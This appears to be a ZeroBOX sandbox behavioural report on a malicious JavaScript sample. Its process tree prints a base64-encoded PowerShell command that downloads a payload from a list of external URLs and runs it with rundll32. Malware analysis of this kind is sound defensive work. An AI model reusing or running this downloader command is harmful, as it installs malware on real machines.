popup
| ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Behavioral Analysis

Process tree

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\N1799ReleasableNasalwards.js

    1020

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7ACQAcAByAG8AYQByAGIAaQB0AHIAYQB0AGkAbwBuACAAPQAgACgAIgBoAHQAdABwAHMAOgAvAC8AYgBlAGIAZQBzAHMAaQAuAGMAbwBtAC4AdAByAC8AUQA5AFEAYgBTAGkALwBZADgASQBzAGoAaQBPAFYAVwBRAHMALABoAHQAdABwAHMAOgAvAC8AYwBvAHoAYQByAHEAaQBuAGcAZQBuAGkAZQByAGkAYQAuAGMAbwBtAC4AbQB4AC8AUgA1AEEAdwBrAGgANAAvAEkAQQB3AHMAZgBHAFkARgBIAHUALABoAHQAdABwAHMAOgAvAC8AYgBsAG8AZwBkAG8AYwBpAHMAbgBlAGkAcgBvAHMALgBjAG8AbQAuAGIAcgAvAEcATwBtAC8AQwBaAFcAZQBOAFkAUgBHAE4AVwAsAGgAdAB0AHAAcwA6AC8ALwBpAG0AbQB1AG4AbwBsAGkAZABlAHIAYQB6AGcAbwB5AG8AcABvAHIAdAB1AG4AaQBkAGEAZAAuAGMAbwBtAC8AeABxAGEANgBDAG4AeQAvADcARABOAHEAOABjAFcAawBFAE8AcgAsAGgAdAB0AHAAcwA6AC8ALwBjAG8AbQB1AG4AaQBkAGEAZABlAGgAZQBiAHIAbwBtAC4AYwBvAG0ALgBiAHIALwAwAFAAMQA2AC8ASABMAEUAVABRAFIASgAwAGsALABoAHQAdABwAHMAOgAvAC8AdABoAGUAdwBhAHQAYwBoAHoAbwBuAGUAYgBkAC4AYwBvAG0ALwB0AGsAaAA0AFAASAAvAEwAdQBPAE0AOQB0AFgAYwBpAFkAOQAsAGgAdAB0AHAAcwA6AC8ALwB0AGgAZQB5AG8AdQBuAGcAYQBuAGQAdABoAGUAcgBhAHQAYwBoAGUAdAAuAGMAbwBtAC8ASQB6AHYATwAvAEQASQBZAEIARQB5ADQAMAB2AHYANwAwACwAaAB0AHQAcAA6AC8ALwB1AG4AaQB0AGUAZABlAGMALQBlAGcALgBjAG8AbQAvAEkARgBVADYAbABsAFoALwBGAEcAdgA5AEIAbABaAHgAcAAiACkALgBzAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAgACgAJAB1AG4AdgBlAHIAbQBpAG4AbwB1AHMAbgBlAHMAcwAgAGkAbgAgACQAcAByAG8AYQByAGIAaQB0AHIAYQB0AGkAbwBuACkAIAB7AHQAcgB5ACAAewB3AGcAZQB0ACAAJAB1AG4AdgBlAHIAbQBpAG4AbwB1AHMAbgBlAHMAcwAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADEAOQAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAZABpAGgAeQBkAHIAaQBjAC4AYgBlAGgAYQB2AGkAbwByAHMAUAByAG8AZgBhAG4AaQB6AGUAOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABlAG4AdgA6AFQARQBNAFAAXABkAGkAaAB5AGQAcgBpAGMALgBiAGUAaABhAHYAaQBvAHIAcwBQAHIAbwBmAGEAbgBpAHoAZQApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADEAMAAwADAAMAAwACkAIAB7AHMAdABhAHIAdAAgAHIAdQBuAGQAbABsADMAMgAgACQAZQBuAHYAOgBUAEUATQBQAFwAXABkAGkAaAB5AGQAcgBpAGMALgBiAGUAaABhAHYAaQBvAHIAcwBQAHIAbwBmAGEAbgBpAHoAZQAsAFgANQA1ADUAOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoACAAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA0ADsAfQB9AA=="

      2152

Process contents

No process loaded Click on a process in the tree above to load its data.

PID
Parent PID
default registry file network process services synchronisation iexplore office pdf